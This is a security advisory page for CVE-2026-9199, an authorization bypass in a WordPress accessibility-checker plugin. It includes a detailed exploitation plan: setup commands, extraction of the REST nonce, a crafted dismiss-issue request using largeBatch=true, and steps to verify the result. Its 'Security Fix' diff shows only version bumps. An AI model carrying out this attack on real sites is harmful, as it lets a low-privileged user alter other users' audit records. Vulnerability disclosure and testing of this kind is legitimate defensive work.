Equalize Digital Accessibility Checker <= 1.42.1 - Missing Authorization to Authenticated (Author+) Arbitrary Accessibility Issue Modification via 'largeBatch' Parameter
Description
The Equalize Digital Accessibility Checker – WCAG, ADA, EAA and Section 508 compliance plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 1.42.1. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with author-level access and above, to dismiss, ignore, or restore accessibility audit issue records belonging to posts they are not permitted to edit by supplying an issue from their own post as an authorization token to affect matching issues across the entire site. An Author-level user can exploit this by passing largeBatch=true on a dismiss-issue request referencing one of their own post's issues, causing the handler to bulk-modify all site-wide accessibility issues sharing the same 'object' value — including those belonging to administrator-owned posts.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=1.42.1What Changed in the Fix
Changes introduced in v1.43.0
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-9199 (Equalize Digital Accessibility Checker) ## 1. Vulnerability Summary The **Equalize Digital Accessibility Checker** plugin (versions <= 1.42.1) is vulnerable to a missing authorization check in its REST API handler for dismissing accessibility issues. Whi…
Show full research plan
Exploitation Research Plan: CVE-2026-9199 (Equalize Digital Accessibility Checker)
1. Vulnerability Summary
The Equalize Digital Accessibility Checker plugin (versions <= 1.42.1) is vulnerable to a missing authorization check in its REST API handler for dismissing accessibility issues. While the plugin verifies that a user has permission to dismiss an issue on a post they own (Author level), it fails to properly restrict the scope when the largeBatch parameter is set to true.
An authenticated attacker with Author-level permissions can provide an issue_id belonging to their own post to pass the initial authorization check. By setting largeBatch=true, the plugin's backend logic proceeds to dismiss or modify all matching accessibility issues across the entire site (site-wide) that share the same "object" (the specific code snippet or element identifier) and rule type, including issues on posts owned by Administrators.
2. Attack Vector Analysis
- Endpoint:
/wp-json/accessibility-checker/v1/dismiss-issue/(?P<issue_id>\d+) - Method:
POST - Authentication Required: Authenticated, minimum Author role (must be able to create a post and trigger an accessibility scan to generate a valid
issue_idthey own). - Payload Parameter:
largeBatch=true(passed as a query parameter or POST body parameter). - Vulnerability Type: Missing Authorization / Improper Scope Limitation.
- Impact: Site-wide manipulation of accessibility audit data, allowing unprivileged users to hide critical accessibility errors on sensitive pages (e.g., login pages, checkout pages, or Admin posts).
3. Code Flow
- Registration: The route is registered in
includes/classes/class-rest-api.php. - Permission Check: The
permission_callbackfor/dismiss-issue/checks if the user hasedit_postcapability for the post associated with the providedissue_id. - Callback Execution: The
dismiss_issuemethod is called. - The Flaw: Inside
dismiss_issue(or the underlying logic it calls), the code checks forrequest['largeBatch'] == 'true'. - Site-wide Modification: If
largeBatchis true, the plugin performs a database query (likely via$wpdb) to update all records in the accessibility issues table where theobject(element hash/selector) andrule_idmatch the providedissue_id. This query lacks apost_idconstraint, causing it to affect rows belonging to posts the Author cannot normally edit.
4. Nonce Acquisition Strategy
The REST API requires a wp_rest nonce for authenticated requests. This nonce is typically localized in the WordPress admin dashboard for use by the plugin's React/Vue components.
- Identify Trigger: The plugin's sidebar/metabox enqueues scripts on the post editor page.
- Setup: Create a test post as the Author:
wp post create --post_type=post --post_status=publish --post_title="Author Post" --post_author=[AUTHOR_ID]. - Navigate: Use
browser_navigateto go to the edit page for that post:/wp-admin/post.php?post=[POST_ID]&action=edit. - Extract Nonce: Use
browser_evalto extract the REST nonce from thewpApiSettingsglobal object (standard WordPress) or the plugin's specific localized object.- Standard:
browser_eval("window.wpApiSettings?.nonce") - Alternative (if plugin-specific): Check
window.edac_data?.nonceor similar (inferred fromaccessibility-checker.phpandclass-rest-api.phphooks).
- Standard:
5. Exploitation Strategy
Step 1: Generate a Target Issue (Admin)
Create an Administrator post containing a specific accessibility violation (e.g., a link with no text).
wp post create --post_type=page --post_title="Admin Sensitive Page" --post_status=publish --post_content='<a href="https://example.com"></a>'
Note: The plugin must scan this page to populate the database. This usually happens on save or via a frontend scan.
Step 2: Generate a Reference Issue (Author)
As the Author, create a post with the exact same violation.
wp post create --post_type=post --post_title="Author Reference" --post_status=publish --post_content='<a href="https://example.com"></a>' --post_author=[AUTHOR_ID]
Step 3: Identify Author's Issue ID
Retrieve the id of the issue created in Step 2 from the database.
wp db query "SELECT id FROM wp_accessibility_checker_issues WHERE post_id = [AUTHOR_POST_ID] LIMIT 1;"
Step 4: Execute the Bypass
Send the malicious REST request using the Author's credentials and nonce.
- URL:
/wp-json/accessibility-checker/v1/dismiss-issue/[AUTHOR_ISSUE_ID]?largeBatch=true - Method:
POST - Headers:
X-WP-Nonce:[EXTRACTED_NONCE]Content-Type:application/json
- Body: (Optional, depending on if the plugin expects dismissal reasons in 1.38.0+)
{ "reason": "Exploit Testing", "status": "dismissed" }
6. Test Data Setup
- User Roles:
- An Administrator user.
- An Author user (
wp user create attacker attacker@example.com --role=author).
- Plugin State: Ensure "Accessibility Checker" is active and the database tables are created.
- Target Content: An Admin post with a "Problem" (e.g.,
rule_id:link_text). - Attacker Content: An Author post with the same "Problem" (matching
rule_idand the same HTML element/object).
7. Expected Results
- The initial REST API call for the Author's own
issue_idreturns a200 OK. - The response indicates that multiple issues were affected (if the plugin returns a count).
- The accessibility issue on the Admin's post is now marked as
dismissedorignoredin the database, despite the Author having no permissions for that post.
8. Verification Steps
After the HTTP request, verify the state of the Admin's issue via WP-CLI:
# Check if any issues on the Admin post are still 'active' (not dismissed)
wp db query "SELECT * FROM wp_accessibility_checker_issues WHERE post_id = [ADMIN_POST_ID] AND is_ignored = 0;"
If the query returns 0 results but the issues were previously present, the site-wide dismissal was successful.
9. Alternative Approaches
- Restore instead of Dismiss: If the Admin has intentionally dismissed an issue, the Author can use the same
largeBatch=truelogic on therestore-issueendpoint (if registered separately) to reopen issues site-wide, potentially flooding the Admin's dashboard with "Problems". - Different Rule Types: Instead of
link_text, useimg_alt(missing alt text) which is a very common and easy-to-replicate violation. - Blind Exploitation: If the
issue_idis not known, an Author can iterate through small integers forissue_iduntil they hit one they own, then trigger the site-wide effect.
Summary
The Equalize Digital Accessibility Checker plugin (<= 1.42.1) is vulnerable to an authorization bypass where authenticated users with Author-level access can dismiss or restore accessibility issues site-wide. By providing an issue ID from a post they are authorized to edit and setting the 'largeBatch' parameter to true, attackers can bypass permission checks to modify records belonging to posts they do not own, including those of administrators.
Vulnerable Code
// includes/classes/class-rest-api.php // Dismiss/restore issue endpoint. add_action( 'rest_api_init', function () use ( $ns, $version ) { register_rest_route( $ns . $version, '/dismiss-issue/(?P<issue_id>\d+)', [ 'methods' => 'POST', 'callback' => [ $this, 'dismiss_issue' ], 'args' => [ 'issue_id' => [ 'required' => true, 'validate_callback' => function ( $param ) { return is_numeric( $param ); }, 'sanitize_callback' => 'absint', ], ], 'permission_callback' => function ( $request ) { $issue_id = (int) $request['issue_id']; // ... Vulnerability: The handler fails to restrict the scope of the database update when largeBatch=true is supplied ... }, ] ); } );
Security Fix
@@ -10,7 +10,7 @@ * Plugin Name: Accessibility Checker * Plugin URI: https://a11ychecker.com * Description: Audit and check your website for accessibility before you hit publish. In-post accessibility scanner and guidance. - * Version: 1.42.1 + * Version: 1.43.0 * Requires PHP: 7.4 * Author: Equalize Digital * Author URI: https://equalizedigital.com @@ -36,7 +36,7 @@ // Current plugin version. if ( ! defined( 'EDAC_VERSION' ) ) { - define( 'EDAC_VERSION', '1.42.1' ); + define( 'EDAC_VERSION', '1.43.0' ); } // Current database version.
Exploit Outline
An authenticated attacker with Author-level permissions exploits the '/wp-json/accessibility-checker/v1/dismiss-issue/{issue_id}' endpoint. First, the attacker creates a post they own and generates an accessibility issue (e.g., a missing alt tag) to obtain a valid 'issue_id'. They then send a POST request to the dismiss-issue endpoint using this 'issue_id' and the parameter 'largeBatch=true'. The plugin's initial permission check validates the attacker's authorization to modify their own post's issue. However, because 'largeBatch' is set, the backend logic executes a bulk update targeting all issues across the entire site that share the same element signature ('object') and rule type, effectively dismissing critical accessibility findings on administrator-owned posts and sensitive pages.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.